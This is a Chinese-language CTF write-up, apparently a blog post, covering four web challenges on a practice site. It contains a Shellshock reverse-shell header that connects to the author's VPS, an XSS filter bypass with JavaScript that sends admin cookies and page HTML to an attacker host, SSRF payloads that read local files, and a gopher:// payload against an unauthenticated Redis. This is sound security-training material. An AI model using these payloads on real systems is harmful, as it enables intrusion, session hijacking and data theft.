Hackme网站Web WP
这几天刷了一下 https://hackme.inndy.tw/ 的Web,后面的题都很有意思,边做边把题解做出来。
Command-executor
题目连接:https://command-executor.hackme.inndy.tw/
题目描述:Here's my useless developer assistant website, try to execute your own command!
文件包含php://filter读出源码
命令注入,打开网站有四个页面选项

Man 里面限定了只有四个指令,Tar试了一下可以解析出tar压缩包内容,Cmd限定了ls和env两个指令,最后在List发现可以修改file参数遍历目录。
这时可以发现一个细节,就是读出本目录有ls.php、cmd.php、man.php、untar.php等文件,我们知道它转换这四个页面是通过func=untar等模式的。很明显可能存在文件包含漏洞。用php://filter读出源码

代码审计
拿到源码开始代码审计,寻找哪一个页面执行系统命令时有漏洞。在index.php中我们发现putenv函数很可疑,是将$_SERVER中内容写入环境变量
//index.php
foreach($_SERVER as $key => $val) {
if(substr($key, 0, 5) === 'HTTP_') {
putenv("$key=$val");
}
}
再发现index中有一个对所有参数都过滤的WAF,明确禁止了类似() { :; } 类似语句
//index.php
black_list = [
'\/flag', '\(\)\s*\{\s*:;\s*\};'
];
function waf($a) {
global $black_list;
if(is_array($a)) {
foreach($a as $key => $val) {
waf($key);
waf($val);
}
} else {
foreach($black_list as $b) {
if(preg_match("/$b/", $a) === 1) {
fuck("$b detected! exit now.");
}
}
}
}
waf($_SERVER);
waf($_GET);
waf($_POST);
CVE 2014-6271
看到这我们就可以将这些联想到CVE 2014-6271破壳漏洞(详细见http://www.freebuf.com/articles/system/45390.html)
按照破壳漏洞的解法,我们应该在请求头中随便写一个参数然后值为() { :; }xxxx
,后面的xxxx
就能运行了。 虽然有上面提到的WAF,只要将写成() { : ; }
就能绕过了。
试着反弹shell,在请求头添加HAHA: () { : ; };/bin/bash -i >& /dev/tcp/vpsip/port 0>&1
发送请求就能发现接受到shell了。拿到shell在根目录发现flag,只有root用户能读

根目录还有flag-reader文件,读C文件,找一个可写目录/var/tmp 通过flag-reader把flag写到另一个文件中
//运行flag-reader,将flag写到/var/tmp中一个自建的文件中
./flag-reader > /var/tmp/szf < /var/tmp/szf /flag
这样就可以拿到flag了
xssme
题目描述:XSS admin to steal flag
题目链接:https://xssrf.hackme.inndy.tw/

寻找xss点
先注册一个号,登录浏览一下网站发现可以发送邮件、查看邮箱和查看已发送的邮件。既然题目明示了是XSS那就到处找输入处,模拟给自己发送一封邮件,

发现邮件content直接打印在收信界面,意味着如果没有对content输入做限制或转义我们可以直接在content中写js脚本。
尝试发送带js脚本的内容给自己:

发现不允许发送,正好验证了content里存在xss,现在我们想的应该是绕过过滤,然后向admin用户发送xss邮件窃取admin的cookie。
绕过过滤
多次尝试,我发现不允许输入<script
、(
、)
、onXXXX
(指的是事件触发函数如onload,onerror之类)。可以利用如下类似语句绕过
<img src=""onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">
我们可以看到,虽然onerror
已经被过滤了,但是我们只要不用前面的空格就可以了。再将其中的js语句经过html编码就可以绕过括号的过滤(上面就是alert(1)的html编码)。
窃取cookie
前面已经绕过了过滤,现在只要将alert(1)换成以下代码就行
var img = document.createElement("img");
img.src = "http://vpsip:port/cookie/"+escape(document.cookie);
document.body.appendChild(img);
填上自己的vps外网ip和端口,并且在vps上监听该端口。发送邮件给admin

发现成功获取,并且在cookie里看到了flag
Xssrf leak
题目描述:Steal flag from source code file
思考方法
还是同样的链接,通过题目名称和描述可以看出是读源码找出flag。
首先我用dirsearch扫了一遍web目录。

.git 里没有有用的内容,backup.zip下下来有密码破解没有成功,config.php看不到内容,robots.txt里也没啥。其他文件更没有啥用。总而言之这扫出来的并没有什么用处。T^T
思考一下题目名字,Xss后再SSRF!Xss然后伪造admin用户发送请求再SSRF。
伪造admin请求
我们按照上面那题的方式获取到admin的页面,看看admin有哪些不一样的功能。
var img = document.createElement("img");
img.src = "http://vpsip:port/"+escape(document.body.innerHTML);
document.body.appendChild(img);
按照以上的方式,我们给返回的admin用户界面base64加密了,得到并解密发现有页面中有request.php。尝试用前面获得的cookie去访问request.php发现限定了ip为127.0.0.1,说明我们的方向是正确的。

接下来,通过js原生ajax的方式,访问request.php并按原来的方式返回给我们。
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
hh = xmlhttp.responseText;
var img = new Image();
img.src = 'http://vpsip:port/' + btoa(hh);
document.body.appendChild(img);
}
}
xmlhttp.open("GET","request.php",true);
xmlhttp.send();
看到返回代码可以发现,request.php中有一个表单,可以向本页面发送POST请求,有一个参数为url,我们尝试输入http://127.0.0.1/index.php,发现可以获取到内容!
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
hh = xmlhttp.responseText;
var img = new Image();
img.src = 'http://vpsip:port/' + btoa(hh);
document.body.appendChild(img);
}
}
xmlhttp.open("POST","request.php",true);
xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xmlhttp.send("url=http://127.0.0.1/config.php");
SSRF
做到这思路就清楚了,request.php应该就是用curl来读内容,这么说它支持file://等协议。现在读取文件就行了,前面说到的扫出来的backup.zip中只有一个config.php那我们就直接读config.php,按照上面的方法,将url改为file:///var/www/html/config.php 成功读出flag。

Xssrf redis
题目描述:Steal flag from redis
题目思路
从题目描述和上面一题的flag(说明了flag在redis中)可以看出,这道题就是由于redis未授权访问(不了解的可以看看我的另一篇博客,详细讲解了redis未授权访问getshell的方式 Redis Getshell 总结 ),通过伪造服务器请求读取到redis里的内容。
通过上面两题的思路,我们已经很容易的可以利用本网站SSRF漏洞,在我的另一篇文章中也详细的讲解了通过gopher协议访问redis。上一题我们也说清楚了,request.php是通过curl来访问的,它支持dict://
、file://
、gopher://
等协议。所以我们就可以通过request.php文件发送gopher协议请求,读取redis里的内容。
SSRF
和上一题发送的请求类似,我们只要将url改成gopher协议形式。比如我们要获取redis里所有的键值,一般我们会在redis-cli中输入命令keys * ,通过我一篇博客的方法将它转换成gopher协议内容:
gopher://127.0.0.1:25566/_%252a%2532%250d%250a%2524%2534%250d%250a%256b%2565%2579%2573%250d%250a%2524%2531%250d%250a%252a%250d%250a
注意这里需要urlencode两遍,因为我们发送至request.php时已经被urldecode一遍了。
这时我们就能从返回信息中得到key值中有一个flag。后面的内容就是读取了,比较程序化的内容。值得一提的是,这个flag是一个列表,需要通过lrange flag 0 80命令读取。